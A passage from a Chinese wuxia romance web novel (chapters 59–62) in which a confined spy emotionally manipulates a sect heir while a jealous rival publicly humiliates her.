衡黄大哭着追到南琼霜窗下,拉着他的袖子诉苦摇晃,顾止却只是温柔与窗内的她对望,一字一句,温声问: “皎皎……他赢了,便如何?” 南琼霜不由往后退了半步,迟疑着:“他……”又见衡黄几乎扑在他身上痛嚎,心里一动,“衡小姐似乎被他捏折了腕骨,你快瞧瞧。” 顾止冷静面容崩裂一瞬。 她竟还有心思关心别人? 衡黄歪在他身侧,几乎是一点力也不肯用,柔弱无骨地依着他,大哭,“瑾哥哥!那人是谁,竟敢上来这样对我?!你不管管他?我不过想抽这个婊子几耳光,那又怎么,难道不是她该受的吗?!我是谁,他竟然敢……竟然敢……!” “抽几耳光?”顾止倏地低头下去盯她。 第59章 “她敢碰我的人,我凭什么不能!”衡黄含泪与顾止对视一眼,竟然吓得一个激灵,又凄惨哭起来,“怎么用这种表情看我……瑾哥哥,你不是最心疼我的吗?我的手腕……” 顾止一时张了张口,似乎有许多东西不得不说,最后还是艰难忍下。 可是,他那个表情,一瞬间几乎至于冷戾,南琼霜也从未见过。 疯了,这帮人今天全疯了。不是大白天的把她压在榻上,隔着扇子亲她,就是拍李玄白的老虎屁股玩,现在,竟然还有将大小姐的腕骨生生捏断了的。 被人嫉妒,这种事情,南琼霜一点也不在乎,只是别在她窗下吵了。 她叹了口气,手按在两半窗扇上,道,“公子,快带衡小姐去瞧瞧大夫吧,一会嗓子哭哑了。” 说完,将窗吱呀一声缓缓合上。 顾止在窗外定着,脸色惨白,近乎惊痛,“……皎皎!” 窗内的人却毫 无动容,转身离开了窗前。 他简直不敢相信,不由自主地哆嗦起来。 他才刚走,安排了这么多侍卫看着她,竟然一转眼,又让李玄白进了房间,还不知道两个人又彼此答应了什么。 衡黄如此侮辱她,她竟然也不恼,眼看着衡黄这样靠在他身上,她竟然一丝一毫的吃味也不曾有,明明看着他神色这样差,发着抖来问她,她竟然理也不理,只知道叫他带这衡黄去看大夫,那他呢?他呢?! 他痛道,“皎皎,你为何……!” 窗前却已没有人了。 他定在原地,连动也不能动,似乎是怒火将神经都烧断了,耳畔一阵刺耳嗡鸣,几乎头晕目眩。 皎皎不见他,他又做错什么了。 昏昏沉沉的,只感觉身子不停乱晃,有人在摇他。 是衡黄。晃着他的胳膊,嗓子快哭得劈了,泪眼朦胧,“你在看谁?我的手腕……我这般求你,你竟看也不看一眼吗?!” 他无力也无措,虚脱一般闭了闭眼,趔趄一下。 宋瑶洁慌忙上来扶他。 他勉强道:“谢谢师姐。”声音干涩,“烦请师姐带衡小姐去瞧大夫吧。” 衡黄:“瑾哥哥,你不管我?” 顾止疲惫道:“师叔仍在菩提阁内等我。” 南琼霜在屋内,脱鞋又上了榻,烦躁不已地侧身而卧,衾被扯到耳朵上。 真是吵死了。 关她,明明是说要她不见人,怎么反而生出这么多波折。 方才,顾怀瑾神色那样不对,夜里必然还要来寻她。 她其实并非故意惹他伤心。只不过,没有她被软禁,他在外面逍遥的道理。若要囚住她,他必须日日夜夜进来作陪,时时刻刻惦念着这边,哪怕她不看他,他也得看她。 她向来会让男人心甘情愿地留下。 躺在榻上,她打了个哈欠,阖了眼睛。 睡吧。到了夜里,顾怀瑾还不知要如何磨她。 * 南琼霜这一睡,中间恍惚醒了一回,只记得睁开眼,花窗里暮色渐晚,黄色余晖一格一格落在她枕头上,她闲着无事,翻了个身,又睡着了。 再醒,就是莫名其妙一个激灵醒来,房间里漆黑一片,唯有月色自窗子里筛落,惨白凄冷。 她心里疑惑,怎么,顾怀瑾竟没有来吗? 忽然长发被人撩起一缕,黑暗里,一点轻啜落吻声。 她吓了一跳,猛然回头。 顾怀瑾坐在她身后床头边,人没在屋内的夜色阴影里,静静坐着,垂着眼睫,吻她的发。 黑暗里无声的人,无声看她,无声吻她,好像一个阴魂不散的暧昧的鬼。 不知这样在这坐了多久。 她道:“……怎么在我这里?大晚上的,不睡觉?” 他将她的发从唇边拿下来,声音轻轻,不知在看哪里:“……皎皎。” “怎么?” 他垂眸:“我对你,是不是一点也不重要?” 她眼睛眨了眨,笑:“为什么这样说?” 他沉默了至少一刻钟,整个人仿佛心灰意冷至极,颓然靠着墙,手里不依不饶握着她一缕发。 整个人失魂落魄一般,几度欲开口,然而话到嘴边,还是什么都没说。 “今天这是怎么了?”她没想到,只是白日里当着他面关了窗,他竟然就心伤到这个地步,“被长老罚了吗?大师姐说今日菩提阁内闹得不可开交。” 今日菩提阁内,确实如她所说。 但是,师叔再动怒、衡黄再无理取闹、宋瑶洁再上纲上线、衡青南再挟旧情迫他强娶,也没有亲眼见她当着他面,毫不留情将窗关上那样,使他六神无主。 为什么要这样? 他只有她了。 明明刚才,他那样失态,她还都笑着由他。 怎么李玄白一进了她的窗子,她就将他拒之门外了? 他声音轻得出离:“皎皎……喜欢李玄白,对吧。” 她纠结了一瞬。 眼下,他几乎是魂不守舍,即便逗他,他也没力气上钩了,于是简短道,“算不上。” 他双眼抬起一瞬,仿佛行将窒息而死的鱼,腮上落了些雨,气息奄奄地拍了拍尾巴。 “算不上,是……”落寞笑了一下,“有那么一点,但尚不知道算不算?” 她本意是否认。他竟然这样敏感,她有点哭笑不得。 “算不上,就是不喜欢。” 他昏暗沉沉的眼眸里,忽地蓄起一点亮光。 “不喜欢,是……” “不喜欢就是不喜欢。” “真的吗?皎皎不是敷衍我?可怜我?骗我?”他忽地凑过来,垂首,长发披落,停在她脸侧。 现如今,他格外喜欢停在她鼻尖半寸开外,这样近的距离,垂眼就可以望见她饱满的唇珠,甚至看得清她唇珠上的细腻纹路,他痛苦不堪地吞咽了一下。 “不是,我同李玄白其实没有什么。” “真的吗……”他声音极轻,阖眼凑在她唇侧,“他的扇子呢?还了?我想要……” “想要”两个字,顾怀瑾似乎还不懂,但她一听这两个字就爬了一身鸡皮疙瘩。 怎么?他当人家那把扇子是避孕用的羊肠衣吗? 只听说过避孕,没听过连吻也要避的。 她微避开一点,闪躲着,“什么扇子,不要闹了。” “皎皎。”他握住她的胳膊,将人拥入怀里,偏着头下来寻她的唇,“我要。在哪?” 她又偏开头,“哎呀,烦。” “我不管。”他不依不饶追着她的唇瓣喃喃,“你都不知道,今日菩提阁内那些人有多烦,整日里就想着你,结果回来见你,你竟然把窗子一关,我在外头怎么喊,竟也不开。你的心是铁做的吗?” 黑暗里,顾怀瑾在床头随手一摸,还真叫他摸着了那把扇子,熟稔无比地甩开,按在她唇上,阖了眼只是轻吻。 她往后闪了半寸,“怀瑾……” 身后忽然伸出一只手,顺着她脊背搂上去,按住了她的脖颈和后脑勺,不由她退半分。 扇缘起起落落,她无可奈何地闭上眼睛。 他的吻密密落下,一面问,“他到底答应你什么了?他赢了便怎样?” “他……他说他赢了,便要我以后将姓倒着写。”她胡诌。 他冷笑一声,“幼稚。阖山我最看不上他。” 这话将她逗笑了,她记得从前,在院里那棵花树下,她想见见这位完美君子是否也有偏颇刻薄的一面,绕着圈子逼他讲人坏话,最后得到的,也不过“跳脱不定”四字。 “我在窗下,为什么把窗关了?”他问。 “形势太乱,衡小姐也哭得太吵。我没料到李玄白竟然那样跋扈,硬生生将人家腕骨捏折了。她大哭着来求你,你只顾着我,回头她那个掌门爹爹,岂不将账算在我头上?” 顾止难得的停了下来,沉默良久,不知不觉,竟将两人中间的那把扇子也拿了下来。 低低道,“你说得对,我冲动了。” 说完,疲惫不堪地长叹一口气,将人搂进怀里,下巴搁在她肩膀上。 山上这一切,怎么这样令人心累。 如果山上只有她,就好了。 她忽然问:“衡小姐要在山上暂住多久?” 提起这个名字,顾止心里便烦躁不已,当年她还只是略有些娇纵,如今简直是李玄白的翻版,“我不知道,大约一月左右吧。据说会在山上留到大比之后。” 她状似无意地提,“那么,我们大约是同时下山了。” 房间里忽然一阵难捱的沉默。 顾怀瑾许久、许久没有说话。 他的头伏在她肩上,脸埋在她发间颈窝里,一动不动,连呼吸都轻微。 忽然,有什么温热的东西,贴着她脖颈,落了两颗,一直滚进她衣领,滚入她胸腹深处,沾湿心肺。 她不由得心里咯噔一下。 提起这回事,本是为了提醒他,不久后她便要下山了,有些话,该说的,需说给她。 只是,他怎么如此容易心碎。 这样难过,便强迫她留下来,不好吗? 她竟也不忍,抚上他的背安慰着:“怎么了,怀瑾?” 不知过了多久,他终于放开她,分开一点距离,捧起她的脸。 月色下,她分明看见,那双眼睛,湿润而哀痛,眼圈鼻尖俱是红的。脆弱不堪的情态,仿佛一只冰裂纹花瓶,面上仍是平整,里头裂纹满布。 望着他那神色,她一字一句,提醒:“怀瑾, 不想让我走吗?” 只要你说是,只要你撤去扇子吻我,只要你说,“皎皎,不准下山”,那么,我就会留在山上陪你。 但是,不能是请求,只能是,“强迫”。 窗外,檐下结着一张透明蛛网,迎风而动,寒凉月色里,那样晶莹隐秘,几乎难以看清。 一只扇着斑斓翅膀的蝴蝶,轻飘飘地,落在那蛛网半寸处。 暗处的蜘蛛静默窥伺,悄无声息。 她等他的回复,不知等了多久。 许久,他握住她的胳膊,终于开了口。 第60章 他乞求似的,道:“皎皎,留在山上吧。……好不好?” 南琼霜阖了眼帘,缓缓吸了一口气。 窗外,那只无辜的美丽的蝶,扑闪着翅膀,险而又险地绕过了蛛网,飞走了。 她声音依旧是柔而动听,笑意却不达眼底,“山上人都说我是细作哪。” 顾止没再说什么,湿润长睫擦在她颈侧,像是一只受了惊而冷汗涔涔的蝶。 她连心里那点恻隐也没了。这顾怀瑾,到底什么时候会对她开口? 让他爱上她,她只用了十余天。等他终于表露心意、改口唤她皎皎,却用了快一个月。 现在,他将自己身心折磨成这个样子,竟然还能忍得住。大半夜的坐在她床边,最过火的事,竟然是吻她的头发。 她叹息着,烦躁不已,揉着眉心。 他那种君子之风,刚好保全了他。若是普通男人,这时候,她都已经拿了人头,班师回朝了。 “怎么,头痛吗?”他见她忽然抬起手来揉着额心,“睡了这么久,头还痛吗?是我吵醒了你?” 什么叫睡了这么久啊。她道:“你几时进来的?” 他垂下眼眸,眨着眼睛,不说话。 她笑:“莫非已经进来很久了?” 他躲闪着眼神。 “你悄无声息摸进我房间,想跟我说话,又没有叫醒我,就在一旁坐着?” 他道:“皎皎不是向来睡得浅?睡得那样熟,不容易,我哪里忍心叫你。” 她眨眨眼:“你怎么知道我睡得浅?” 他叹了一口气:“那日,阿松那事……你在我榻上睡觉,我抄着经,研墨的时候毛笔滚落了下去,那样轻的声音,你就翻了个身。” 她有点无奈,刚睁眼看见他坐在她床头的时候,他那样神伤,几乎是失魂落魄。心碎成那个样子,还在一旁等她醒来吗? 他可以直接吻醒她问的,哪怕是隔着那把扇子。 这人是不是从不会为自己考虑的? 她叹:“无事,并不是头痛。只是有些烦。你快回去睡吧。” “烦?烦我吗?”他声音又急起来,去握她的胳膊,摩挲着。 没错,确实是在烦你。南琼霜在心里不冷不热地想。 “没有。”她柔声道,“白天在菩提阁吵了一天,还不累吗?眼下心情有没有好些?” “好些了。不过明日估计还要去菩提阁内吵。”他一双眼又迷离起来,垂首偏头凑近她,“……扇子呢?” 李玄白那把扇子可是倒了血霉了。 “没有扇子。”她推了他一把,“既然明日也不得安生,还不快回去睡。” * 翌日,她早早醒了,想去院中走走,却发现门口侍卫不仅没撤,甚至还翻了倍,无可奈何地又回了屋。 坐在窗前,实在是无事可做,她百无聊赖地,撑腮看着窗外被翠绿树叶遮去一角的蓝天。 虽然如此,心中却无事挂碍。 顾怀瑾这人,再嘴硬,再能隐忍,朝夕相处,忍不住也只是时间问题,她不信他真能依赖那把扇子到何时。 即便他当真能忍到神人的地步,她也还留了最后一招杀手锏。 不过,最好还是别到那一步罢。刚巧卡着三月之期,难免不会节外生枝。 最好,还是早些便开始布局。 于是,她探出头去,望着今日比昨日戒备神色严峻许多的李忠,道,“敢问大人,有无纸笔?” 铺了纸,刚写了几个字,忽然院门“砰”地一声大开,猛地撞在墙上,两扇门中间,站了一个盛气凌人的女子,身后随着十数人,列成两行。 远远地,衡黄隔着院子,朝着花窗内的她,食指遥遥一指:“把那个女人给我拖出来。以后我就在这院子里住了,她那个房间宽敞向阳,需得给我。” 她身后的随从齐齐一行礼:“是。”一齐向她房门口走来。 门口的李忠拔剑出鞘,其余侍卫随之一并拔剑,一阵金属摩擦的嚓嚓声:“衡小姐,少掌门下令不准任何人接近楚姑娘。” 衡黄冷笑一瞬,与她对视一眼,“那又如何?不过一间房,等瑾哥哥从菩提阁内出来,我会去同他要的。你以为他不会给我吗?当年,我同他要天山珍藏的奇药,他二话不说就给了我!” 恶狠狠剜她一眼,“至于这女人,我看着碍眼。瑾哥哥向来纵容我,我即便拿了她,你以为他会跟我红脸吗?告诉你,一个字的责备都不会有!”手一挥:“给我拿下!” 南琼霜望着她绑着丝绢、一动也不敢动的手腕,心里想,昨日难道还没长教训吗? 又淡淡地,瞥了一眼桌旁放着的弄山月。 不过,李玄白眼下在练功。何况他那样的脾气,倘若真来了,说不准局面会更加难以控制。 她只是想要镇山玉牌,其他的事情,打骂羞辱,她全经历过不少,不会放在心上。但是——山上局势,不能变。 他确实是太过张狂,连她也忌惮。 不到无可挽回的地步,还是别叫他吧。 再往窗外看去,衡黄的家仆同李忠等人竟已交上了手,一时院中竟是刀光剑影,几棵葳蕤茂盛的古树被削得枝叶翻飞,四散零落,天山的白衣和衡山的庭芜绿长袍飞旋交错,快得连动作都瞧不清。 真在院子里打起来了? 南琼霜皱了皱眉。 这形势,虽然看起来是势均力敌,可是她一细看便知,李忠等人毕竟是天山一方,作为东道主,是收了手的。 衡黄那些家仆却并无一丝手软,同他们的主子一样,是些毫无顾忌、无所忌惮之人,拳拳到肉,刀刀杀招,一时连她也看得紧张了起来。 这样打下去,李忠等人不可能讨到什么好,至多不过拖延些时间。 院内,李忠一脚蹬在面前人胸口,转身格了身后刺来的长剑,又拿剑柄,将扑到面前的人怼得口吐鲜血,忽然,脖颈间放了一片薄刃,他旋身一让,竟被又一柄雪光细刃抵在了背后。 真要出人命了。 出了人命,还不算在她头上? 南琼霜忽然推开了门,道:“衡小姐何必如此,我出来便是了!” “楚姑娘!”李忠回身将那柄剑拨开,刚想跃到她身边护着,便又被一道剑光拦下。 院里投落一块日光,衡黄抱着肩膀,站在那日光正中央,身上鲛纱碎闪跃动,金光满身,懒洋洋地竖掌:“停。” “出来了?”她抚摸着臂间庭芜绿的云纱披帛,笑了,“算你识趣。” 南琼霜垂首,自屋内挪步出来,纤细身影,窈窕玉立,怯生生的,走到院落中日光下。 她道:“虽然不知何处惹了衡小姐不悦,不过,倘若衡小姐想寻个人解气,还是责骂奴婢吧。他们不过是些奉命办事的人。” 日光下,衡黄不冷不热笑了笑。 南琼霜终于有机会近看她的脸孔,这才发现她的唇,饱满而圆润,口脂涂得满满当当,唇线却锋利分明,一个富贵然而刻薄的女子。 她挑眉:“好,很懂事么。那其他人也正好少遭点罪。至于你——”手往院落阴影里一个积了雨的水坑中一指,笑,“跪那。” 南琼霜心里笑了下。这点小事,衡黄竟以为伤害得了她? 她吃过的苦比这多多了,这些事,根本不放在眼里。 她要的东西只有那一个。为了那唯一的目的,什么都可以 心如止水地做。 南琼霜平静走去,平静跪下,膝盖顿时没入泥水里,硌着石子,一阵冰冷。 院落中央,衡黄拈着披帛甩着玩,旋成一个春绿色的圆面。 涂着朱红蔻丹的手,往脚下一指,对她笑,“跪着,爬过来。” 南琼霜几不可见地轻笑一下。 垂着眼,换了个方向,打算膝行过去。 这时,两扇院门却缓缓打开了,中间一个面色匆匆的人。 顾止两步走了进来,看清了角落阴影里的人,当即变了脸色,“衡姑娘,这是做什么!为何苛待我的客人?” 走过去,将她扶起,轻声道,“皎皎,起来。怎么不找人来通报我?” “你扶她起来做什么?!她才刚跪下。瑾哥哥,知道你心善,但我今日非要她跪着爬过来不可。你是要她还是要我?叫她跪、下!” 衡黄娇滴滴的嗓子,利得却仿佛一把刀: “昨日那个无法无天的小猢狲为了她,将我的手腕掰折了。难道这事就这么算了?!我是谁?衡山派掌门之女衡黄,天山上的贵客!怎么,瑾哥哥,同是山上为客,她金贵些还是我金贵些,你说!” 顾止笑了起来:“衡姑娘,数年不见,敢问衡掌门是否忙得很,不常在山上?” 衡黄:“我爹爹?突然问起他做什么?” 顾止客气道:“因为姑娘看起来,实在是疏于管教。” 说完,对着原地气得发抖的金枝玉叶礼貌颔首,揽着她的肩,温柔问:“还能走吗?” 南琼霜点了点头。 衡黄眼睁睁看着顾怀瑾,将那低贱到跪在泥水里也不敢吭一声的人扶了起来,轻声细语地呵护着,揽着肩,两个人招摇着从她面前走过。 一瞬,那柔弱不堪的女子,竟还望了她一眼。 那一眼,衡黄认为是炫耀。 她歇斯底里地冲上前,不顾身后家仆一连串惊呼劝阻,撕着南琼霜的衣袖将人扯得趔趄转身,五指张开臂膀抡圆,日光下,鲜红蔻丹闪着光。 “泼娼根!我今日非教训你不可!” 却猛地被人擒住了手腕。 衡黄从没见过顾怀瑾那样神情,竟然一个激灵。 顾怀瑾笑了,缓缓道,“姑娘,昨日腕骨伤了还未好,今日还未长记性吗?” 衡黄自己也没想到,竟然被他那和煦笑意,逼得退了两步。 两步之后,她眨眨眼:“……瑾哥哥,黄儿的脾气,你不是不知道。我们多年情分,知根知底,如今你是向着她,叫我难堪是吗?” 顾止笑而不语。 “好。”衡黄倦懒垂眼,歪着头一笑,“瑾哥哥,给你最后一次机会。” “衡山派掌门之女衡黄,和一个不知来历身无长物的船娘,你选。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 60-70 第61章 “我选?”顾怀瑾笑了下。 “没错。”衡黄颔首。 顾止竟然嗤笑了一声。 衡黄认识顾止已久,从未见过他那样的笑。 凉薄、不屑、冷嘲,还略带一些……厌恶。 他向来心细如发、面面俱到,这些年,她从未见他这般明显的厌恶过谁。 唯一的一次,竟然是对她这个青梅竹马。 顾止笑着,那笑意却疏离冷淡,“有些事情,顾某其实已经一早向衡掌门讲明过。只是碍于我们多年旧识,怕拂了姑娘面子,因而不曾对姑娘当面明说。不过,看来衡掌门爱女心切……既然如此,顾某也不得不讲得明白一些。” 衡黄一时愣了,呆立在原地,连面皮都微微抽搐起来。 “顾某对衡姑娘唯有朋友之谊。非要深说下去,也不过衡山天山世代交情深厚,略有些兄妹之情。若是旁的,倒并没有。” 当着暮雪院数十侍仆、数十侍卫,当着衡山十余个家仆、和膝盖一片泥污的南琼霜,顾止礼貌颔首,一字一句道: “姑娘,怕是想多了。” 被众人簇拥在中间,身披绮绣、珠光宝气的衡黄,站在日光底下,竟像被人平白抽了一巴掌。 这院子里,那句“瑾哥哥向来纵容我”,可是谁都听到了。 “两位都是我的客人。既都是客,并无高低之分,还望衡姑娘不要再拿身份说事了。不论是羞辱,还是打骂,这些事情,顾某以后都不愿再见到。倘若再有,顾某的好脾气也到此为止。还望衡小姐多加尊重我的客人,权当尊重我。” “此外,暮雪院是顾某的住处,不是什么行山游乐的景致,姑娘若想游山,不妨去扶光谷、玉环台,顾某这里,属实没什么可看的。” 说完,揽着南琼霜,转身回了屋。 房门缓缓阖上,南琼霜从雕窗的窗棂里面望出去,只见衡黄犹自不肯罢休地站在院子中央,眼神阴鸷而不甘,连呼吸都不妙,简直如一条怨毒的蛇。 “公子当着这么多人的面拂了她的面子,不怕惹是生非?” “那又能怎么办呢,皎皎?”衡黄在窗外,他无法走来抱她,只能握住她的胳膊,大拇指摩挲着,“难道任由她欺辱你吗?她那脾气,我早已不想再忍了。” “其实不必如此。最多不过几个耳光,她能拿我怎样呢?”她垂下眼,说出了那句百试百灵的箴言,“我不愿让公子为难。” 顾止一时连呼吸都放轻了,闭了闭眼。 沉默许久,他叹道,“是我不好,叫她追上了山。” 他走到她身侧,去看她沾了泥污的膝盖,“跪了多久?怎么她叫你跪你就跪了?不会等等我吗?” 说话的时候,自然而然就牵过了她的手。 她道:“也没有跪多久。才刚跪下,你就来了。怎么来得这样及时?” 她胳膊被他拉起些许,回头一看,衡黄正在院子中央阴沉不定地看过来,正与她对视。 她平静无波将手抽了出来:“衡小姐还在外面看着。” 他道:“不管她。阿良派人来通知我院里出了事,我才回来的,一会还得回去。过来,皎皎。” 她又往院子里看了一眼:“衡小姐还在外面呢,她还在看我。” 窗子外,衡黄隔着花窗与树叶,与南琼霜遥遥对视。 那眼神,戾气萦绕,凶意暴满。 她的头发却忽然被人拈起一缕,放在唇上轻轻地吻。 她愣了一瞬,只感觉窗外衡黄的目光,烙铁一般,烫在她脸上。 人家还在看着,你在这里吻什么?她将他掌中的发抽回来。 顾怀瑾仍未心甘,低低地问:“扇子呢?” “扇子,还扇子,什么扇子?”她往窗外看了一眼,那衡黄竟然依旧在看她,那边顾怀瑾却去她床头,拿来了那把折扇,骨节分明的玉白的手,慢条斯理,一折一折打开。 她脸竟然不自觉红了。 那扇子,落了多少没有痕迹的吻痕,多少没有痕迹的唇印,多少没有痕迹的喷薄的喘息,他不明白吗? 他疯了吗?眼下竟然是用这把扇子的时候? 她轻斥:“人家还在外面呢,不行,别闹。” 他牵起她的手,想将她从窗前拉开,“皎皎……我没有多少时间,还得回去呢,那边吵得厉害。” 她道,“吵得厉害还不赶紧回去?” “吵得厉害,就回不来了,一整天都回不来。” 她笑,“回不来又怎么?我又不是明天就下山了。” 下山? 他忽然觉得一阵坠痛,闷闷的,仿佛心脏坠了块石头,扯着血管坠入五脏六腑。 下山?下山吗? 只是不是明天而已。 他忽然觉得喘不过气,不由分说道:“不行,过来,我想要。” “你……”她竟然结巴了一瞬,“你知道你在说什么吗?” 又往窗外望了一眼,院子中央,衡黄终于一跺脚,含恨喝了一声,“好,好,给我等着!”转身怒气冲冲地走了。 满院衡山派的家仆,终于随在她身后撤去。 南琼霜站在窗前,总算松了一口气,忽然腋下伸出来两条胳膊,交叉着搂上她的肩,将她轻轻往后按了些许,落入一个安稳怀抱。 顾止搂着她,垂首贴在她肩头,唤着:“皎皎。” 那样依恋的语调。 虽然被保护、被庇佑的一向是她。 她笑起来,她还有点喜欢他离不开她,于是伸出食指,在他鼻尖上蹭了蹭,“怎么了?忽然又闷闷不乐。” 他搂她又搂得紧了些。 她是当真不明白吗?还是装傻? 如果是装傻,那他真恨她。 他道,“转过来,离窗子远些。”说着,将她揽过来,手按在她后腰,将扇子打开了,又抵在她唇上。 可是。 他撩起一丝眼缝,偷看面前已经闭上了眼的人。 睫毛那样长,纤长浓密,根根分明,乖而顺地垂下,等他的吻。 他做梦也没有想过,从前只敢在那些不堪的梦里凑近了看的人,竟然当真在他眼前,当真在他怀里,当真阖了眼,由着他触碰。 她真跟梦里长得一样。 只不过。 怕也是梦,一触碰就消散了。 为什么?为什么要这样?他才刚敢碰碰她,甚至就还是昨天的事。 今天,她就已经想着下山了。 扇子抵在唇上,方才就说要吻的人,却久等不来。 这是在做什么,她睁开眼。 搁在两人中间的那把扇子被他拿了下来,捏在手里,捏得指骨发白。 她惊道:“你哭什么……怎么又哭了?” 顾怀瑾把头执拗偏开,不去看她,胸口仓惶起伏了许久,终于淡淡道,“皎皎先好好休息,我先回菩提阁了。” 说完,放开了她。转身,走了,只留给她一个背影。 她道:“怀瑾……?” 房门关上,只听见窗外传来他的声音:“好生看着楚姑娘,不管是李玄白、大师姐、衡姑娘或者师叔的人,一律不准放进来。有人求见,务必通报。” 李忠抱拳:“是。” 南琼霜站在窗子里,看着方才还拥着她依赖不已的人,头也不回地走了,一时竟不知心里是什么滋味。 这是怎么了?刚才还好好的。 又哭什么? 就因为她提了一嘴下山吗? 就只是那样轻描淡写地顺便说了一嘴……他就成了这个样子。 她心里无比理智清醒地意识到,“下山”两个字,是他的软肋。 她可以利用,可以要挟,可以拿捏。 可是,望着院子里他袍袖翻飞的背影,她想。 他竟然是真的心伤。 * 白日里他走时那般伤心,南琼霜本以为,到了夜里,他定然是要到她房间里寻她的。 她想好了哄他的话,留了灯免得睡得太沉,怕他在她床边等一夜。 可是,顾怀瑾竟然没有来。 她还以为夜里仍是睡得太沉了,以至于他来了却只能不告而别,第二日,特意白天多睡了些,等着晚上他来。 可是,他仍没有来。 多年细作生涯,她连梦中也警觉,向来睡得浅。连着两天,醒来身边了无痕迹,她知道,顾怀瑾确实是不曾来过。 不止夜里,连白天,她也不曾再见到他。似乎暮雪院成了他的客栈,天未亮便起,夜黑透了也未归。 这人是做什么去了?明明走时还那样惦念她,可是竟然一连几天,甚至没来她房里看她一眼。 她每日关在房间里,连个人也见不着,日日夜夜地就只纳闷这件事。 于是唤来了雾刀。 雾刀笑了一阵:“前两天,在外头瞧见他了。跟个穿黄衣服的小姑娘行山呢,有说有笑的。” 她一时竟然无话可说。 雾刀瞧出她心神不定,“怎么?我们极乐堂内风光无限、手到擒来的翘楚,竟也有行差踏错的一天?我还当那女人是你一步棋呢。” “棋?”她冷笑起来,“你都看见了他跟那女人同游,竟然没早些同我汇报?” 雾刀咯咯笑起来,极其阴鸷的声音:“我这,不是怕你吃醋误事嘛。” 南琼霜闭了闭眼,勉强按捺下胸中心火。 她道:“我吃个屁的醋,少试探我,也少拿你那猪脑子揣测我!我问你,眼下我门前这么多侍卫,以你之见,我出不出得去?” 雾刀笑:“出不来。” “倘若你在外接应呢?” “也出不来,人太多了。” 南琼霜烦躁不已,长出一口气,揉着太阳穴。 这时候,竟然想起了那天晚上,她只是抬手揉了揉眉心,他就在一旁紧张不已,仔细打量着她脸色,问她: “皎皎,头还痛吗?” 他是不是待谁都那般温柔的? 倘若如此,那些温柔,也并不值钱。 她打开前些日子要来的宣纸,捏着墨条研墨。墨条在砚台上一圈、一圈地磨,磨得心烦意乱。 她提笔沾了墨,望着那分出一点小毛刺的笔尖,心里想。 顾怀瑾,也真是枉费我这点难能可贵的恻隐之心。 第62章 她自己在房间内关了大约三四天,到了第五日,她正在桌前竖腕写着,终于,门吱呀——一声推开了。 她平静将正在写的东西压入桌角摞起的书中,拿了一张字帖,垂眼描着。 “皎皎。”他关了门,目光在屋里寻了一圈,见人在桌前,便走过来,“在写东西?写什么?”自然而然揽过她的腰,伏下身拥着她。 “字帖。”她将笔重新蘸了墨,看也未看他,从顶端的顿笔描下去,“今日不忙了?” “其实也忙。”他在她发上闭眼吻着,“抽空回来看看你。” 她眼也没抬,“其实不抽空也无妨。” 他一愣,捋着她一缕发,觉出一点滋味来,“为什么?” 她道:“我早说了,不想叫你为难。” “不是为难。”他笑起来,搂着她的腰又往下压了压,她不由撑住桌缘,“这几日忙得不可开交,心里总是想着你。但是每次出门,你仍未起,我回来时,你又睡了。今日是刚巧回来取些东西,见你在窗前,才进来的。” “取东西又何必亲自回来?叫人给你送去不就是了。”她头也未抬。 闻言,他垂着眸,松开了她一些,望着她背影,许久没有说话。 “皎皎怎么了?不想见我?”他拎着她一缕长发,食指中指并在一起,往下轻轻梳着。 她不答,只是描着字帖。 她越不说话,他越不安。这些日子,他也发觉,她看起来似乎温柔,实则最是捉摸不透。一双眼睛,仿若深湖,表面一层被日光照得透澈粼粼,然而往里一看,竟什么也看不见。 他忍受不了,唤着,“皎皎……”一面把人转过来面对他。 她手里仍握着那支毛笔,被他带得回过了身,后腰抵在桌缘上,淡淡看着他,“怎么了?” 她瞧不出他正提心吊胆着吗?为什么竟然这样冷淡。她不在乎? 才几日未见,为什么竟又如此对他了。几日的功夫,就将他忘了吗? “皎皎,你……”他语气艰难起来,“……这些日子,我很想你。” 她听见了,却仿佛觉得他莫名其妙似的,眨了一阵眼,打量了他一圈,“就为这事吗?”转回了身,继续垂首描着,“荣幸。” “不准写了,皎皎。”他倒吸一口气,将她手中毛笔抽了出 来,搁在笔架上,回头握住了她的手,“不准写了。转过来看我。” 她无可奈何地又随他转回来,皱眉,“怎么?” 那样不耐,他心里一凉。 几日不见,她就又不认他了? 他伸出手,试探着想将她鬓边碎发捋去耳后,她却平静无波地侧过脸,躲开了。 对他那踌躇神色视若无睹,她道,“我也想问,你究竟想将我在这里关到何时?说是要等我中毒痊愈,其实长老那一盏茶的毒,早已经解了。” 他垂着长睫,出神般望着她的锁骨,喃喃,“皎皎想出去了?” “谁会不想出去?” “想出去见谁?”他扣住她的腰。 她只是笑了一声,不答话。 他最怕她笑而不答。 “见谁?”他表情依然平静,只是长睫不住颤抖着,不依不饶,“见谁?” 门忽然被叩了两下,阿良的声音:“少掌门,衡小姐在门外催促。” 他陡然垂下了眼。 她笑,“快去,人家等着呢。” 他回头:“叫她等着。”回过身来,“见谁?又是他?”往前一倾,竟然将她压在桌前,她的膝盖倏然抵着他的腿。 她双手撑在身后桌子上,免得向后栽倒下去,一面还是不免后仰着微弯了腰,被他双手合握着捞住,一寸寸地,被他摁着,贴进他怀里。 “又想见谁?不行。我说了许多回了,不行。”他低吟,下巴蹭着她的头顶,“别人都可以,就他不行,皎皎。” 她没什么波动,似乎是懒得应付他的焦虑。 她总是这样。明明在他怀里,可是竟然置身事外。 他搂着她,几乎是恳求一般,不肯放手。 许久,她终于开了口,他以为她终于开始心疼他,却是手抵在他胸口,将他推离了两分,“……很重,走开。” “走开?”他难以接受,“我忙了这么些日子,连见你一面都不能,好不容易来看你一眼,你叫我走开?”愈发弯下腰去搂她,那简直已经不能是搂,她纤细的身子几乎陷入了他宽阔胸膛里,“为什么叫我走开?为什么?我们不过几天没见。” 她毫无怜悯:“走开,我站不稳。” “皎皎……”他惊痛抬起眼来望她,一望,竟然见她眼里那般平静无波,仿佛他这样心焦,也激不起她眼里一点涟漪。 她是真的不在乎他。 “不行。”他不由分说,门外阿良忽然又敲了两下门,“少掌门,衡小姐在外头催促得紧,要您出去呢。” 他竟连头也未回,一字也未答,只是执拗望着她,手在她膝弯里一兜,一使力,将人放上了桌台,倚着身后的花窗。 她这时才有点惊慌,那花窗乃是雕花的窗棂,自屋外可以看得见的。那衡黄就在院门口,假如又无法无天地径直闯进来,岂非一眼便撞见她坐在桌台上? 她道,“你究竟要做什么,人家在外头等着呢。” 他低低道,“不准这样冷淡,皎皎。” 